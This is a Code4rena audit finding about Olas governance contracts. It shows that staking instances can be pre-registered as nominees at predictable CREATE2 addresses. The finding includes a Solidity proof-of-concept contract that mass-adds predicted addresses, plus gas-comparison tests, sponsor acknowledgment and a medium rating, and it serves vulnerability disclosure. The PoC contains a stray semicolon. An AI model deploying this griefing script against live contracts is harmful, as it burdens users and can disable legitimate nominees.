code-423n4 / 2024-05-olas-findings

13 stars 4 forks source link

Adding staking instance as nominee before it is created #62

Open howlbot-integration[bot] opened 4 months ago

howlbot-integration[bot] commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-05-olas/blob/main/governance/contracts/VoteWeighting.sol#L292-L344

Vulnerability details

Impact

It is possible to add a staking instance as a nominee before it is being created. This can lead to a situation that when this instance is going to claim its staking incentives, it should go over all the epochs from the time it was added as nominee to the epoch it was created. This range of epochs is useless for this instance, because no incentives can be assigned to that instance during the epoch it is added as nominee until the epoch it is created. By doing so, the attacker can force users (whoever claim the staking incentives for an instance) to consume much more gas.

Proof of Concept

When creating a proxy staking instance, the address of the to-be-created proxy instance is predictable as follows.

    function getProxyAddressWithNonce(address implementation, uint256 localNonce) public view returns (address) {
        // Get salt based on chain Id and nonce values
        bytes32 salt = keccak256(abi.encodePacked(block.chainid, localNonce));

        // Get the deployment data based on the proxy bytecode and the implementation address
        bytes memory deploymentData = abi.encodePacked(type(StakingProxy).creationCode,
            uint256(uint160(implementation)));

        // Get the hash forming the contract address
        bytes32 hash = keccak256(
            abi.encodePacked(
                bytes1(0xff), address(this), salt, keccak256(deploymentData)
            )
        );

        return address(uint160(uint256(hash)));
    }

https://github.com/code-423n4/2024-05-olas/blob/main/registries/contracts/staking/StakingFactory.sol#L141

It shows that the address is dependent on two dynamic parameters nonce as well as the address of the implementation.

The nonce is incremented by one each time an instance is created, so it can be tracked easily.

The implementation address is assumed to be the address of the contract StakingToken or StakingNativeToken for most instances. In other words, it is more probable that users create the proxy instance based on those default implementations instead of a customized one, and users usually only change the initPayload to create an instance with different configurations. As can be seen in the following code, the address of an instance is independent of initPayload.

    function createStakingInstance(
        address implementation,
        bytes memory initPayload
    ) external returns (address payable instance) {
        //....

        bytes memory deploymentData = abi.encodePacked(type(StakingProxy).creationCode,
        uint256(uint160(implementation)));

        // solhint-disable-next-line no-inline-assembly
        assembly {
            instance := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
        }

        //...
    }

https://github.com/code-423n4/2024-05-olas/blob/main/registries/contracts/staking/StakingFactory.sol#L208

There is an opportunity for the attacker to act maliciously as explained in the following scenario:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

interface IStakingFactory {
    function getProxyAddressWithNonce(
        address implementation,
        uint256 localNonce
    ) external view returns (address);
}

interface IVoteWeighting {
    function addNomineeEVM(address account, uint256 chainId) external;
}

contract OlasPoC {
    IStakingFactory iStakingFactory;
    IVoteWeighting iVoteWeighting;
    address public immutable StakingToken;
    address public immutable StakingNativeToken;

    constructor(
        address _stakingFactory,
        address _voteWeighting,
        address _stakingToken,
        address _stakingNativeToken;
    ) {
        iStakingFactory = IStakingFactory(_stakingFactory);
        iVoteWeighting = IVoteWeighting(_voteWeighting);
        StakingToken = _stakingToken;
        StakingNativeToken = _stakingNativeToken;
    }

    function run() public {
        address instance;
        for (uint256 i = 0; i < 10000; i++) {
            // predict the address of the instance with implementation address of **StakingToken** and nonce 0 to 10000
            instance = iStakingFactory.getProxyAddressWithNonce(
                StakingToken,
                i
            );
            // add this instance as nominee
            iVoteWeighting.addNomineeEVM(instance, 1);

            // predict the address of the instance with implementation address of **StakingNativeToken** and nonce 0 to 10000
            instance = iStakingFactory.getProxyAddressWithNonce(
                StakingNativeToken,
                i
            );
            // add this instance as nominee
            iVoteWeighting.addNomineeEVM(instance, 1);
        }
    }
}

Tests

Test1 (Normal case):

In the following test, it is assumed epochLen = 10 days. The nominee is added and voted for at epoch 102, and the function calculateStakingIncentives is called at epoch 103. It shows the gas consumed to call calculateStakingIncentives is equal to 326_733, because it iterates over only one epoch (from 102 to 103).

        it("Normal case", async () => {
            // Take a snapshot of the current state of the blockchain
            const snapshot = await helpers.takeSnapshot();

            // Set staking fraction to 100%
            await tokenomics.changeIncentiveFractions(0, 0, 0, 0, 0, 100);
            // Changing staking parameters
            await tokenomics.changeStakingParams(50, 10);

            // Checkpoint to apply changes
            await helpers.time.increase(epochLen);
            await tokenomics.checkpoint();

            // Unpause the dispenser
            await dispenser.setPauseState(0);

            // Checkpoint to get to the next epochs
            for (let i = 0; i < 100; i++) {
                await helpers.time.increase(epochLen);
                await tokenomics.checkpoint();
            }

            console.log("nominee added at epoch number: ", await tokenomics.epochCounter());

            // Add a staking instance as a nominee
            await vw.addNominee(stakingInstance.address, chainId);

            console.log("nominee is voted at epoch number: ", await tokenomics.epochCounter());

            // Vote for the nominee
            await vw.setNomineeRelativeWeight(stakingInstance.address, chainId, defaultWeight);

            await helpers.time.increase(epochLen);
            await tokenomics.checkpoint();

            const stakingTarget = convertAddressToBytes32(stakingInstance.address);

            console.log("calculateStakingIncentives is called at epoch number: ", await tokenomics.epochCounter());

            console.log("Gas consumed to call the calculateStakingIncentives function: ",
                await dispenser.estimateGas.calculateStakingIncentives(101, chainId, stakingTarget, bridgingDecimals));

            // Calculate staking incentives
            await dispenser.calculateStakingIncentives(101, chainId,
                stakingTarget, bridgingDecimals);

            // Restore to the state of the snapshot
            await snapshot.restore();
        });

The result is:

  DispenserStakingIncentives
    Staking incentives
nominee added at epoch number:  102
nominee is voted at epoch number:  102
calculateStakingIncentives is called at epoch number:  103
Gas consumed to call the calculateStakingIncentives function:  BigNumber { value: "326733" }
      ✓ Normal case

Test2 (Malicious case):

In the following test, it is assumed epochLen = 10 days. The nominee is added at epoch 2 and voted for at epoch 102, and the function calculateStakingIncentives is called at epoch 103. It shows the gas consumed to call calculateStakingIncentives is equal to 1_439_295, because it iterates over 101 epoch (from 2 to 103).

        it("Malicious case", async () => {
            // Take a snapshot of the current state of the blockchain
            const snapshot = await helpers.takeSnapshot();

            // Set staking fraction to 100%
            await tokenomics.changeIncentiveFractions(0, 0, 0, 0, 0, 100);
            // Changing staking parameters
            await tokenomics.changeStakingParams(50, 10);

            // Checkpoint to apply changes
            await helpers.time.increase(epochLen);
            await tokenomics.checkpoint();

            // Unpause the dispenser
            await dispenser.setPauseState(0);

            console.log("nominee added at epoch number: ", await tokenomics.epochCounter());

            // Add a staking instance as a nominee
            await vw.addNominee(stakingInstance.address, chainId);

            // Checkpoint to get to the next epochs
            for (let i = 0; i < 100; i++) {
                await helpers.time.increase(epochLen);
                await tokenomics.checkpoint();
            }

            console.log("nominee is voted at epoch number: ", await tokenomics.epochCounter());

            // Vote for the nominee
            await vw.setNomineeRelativeWeight(stakingInstance.address, chainId, defaultWeight);

            await helpers.time.increase(epochLen);
            await tokenomics.checkpoint();

            const stakingTarget = convertAddressToBytes32(stakingInstance.address);

            console.log("calculateStakingIncentives is called at epoch number: ", await tokenomics.epochCounter());

            console.log("Gas consumed to call the calculateStakingIncentives function: ",
                await dispenser.estimateGas.calculateStakingIncentives(101, chainId, stakingTarget, bridgingDecimals));

            // Calculate staking incentives
            await dispenser.calculateStakingIncentives(101, chainId,
                stakingTarget, bridgingDecimals);

            // Restore to the state of the snapshot
            await snapshot.restore();
        });

The result is:

nominee added at epoch number:  2
nominee is voted at epoch number:  102
calculateStakingIncentives is called at epoch number:  103
Gas consumed to call the calculateStakingIncentives function:  BigNumber { value: "1439295" }
      ✓ Malicious case

Test 1 and 2 show that if a nominee is added long before it is created, calculating the incentives allocated to it will be highly gas consuming because it iterates over many epochs from the epoch it is added to the epoch it is created (which are useless since no incentives are allocated during this range to the nominee). Test 2 shows that the consumed gas is 5x higher than test 1.

Tools Used

Recommended Mitigation Steps

There are two recommendations:

Assessed type

Context

kupermind commented 4 months ago

The address randomization need is correctly pointed out.

FYI the suggested mitigation 1 is not possible as nominees come from any chain, and there is no way to see if the contract exist on other chains.

c4-sponsor commented 4 months ago

kupermind (sponsor) acknowledged

c4-judge commented 4 months ago

0xA5DF marked the issue as selected for report

c4-judge commented 4 months ago

0xA5DF marked the issue as satisfactory

0xA5DF commented 4 months ago

Requiring more gas would probably be low, but it seems like due to MAX_NUM_WEEKS the nominee would become unusable at some point. Marking as med

vsharma4394 commented 3 months ago

Fixed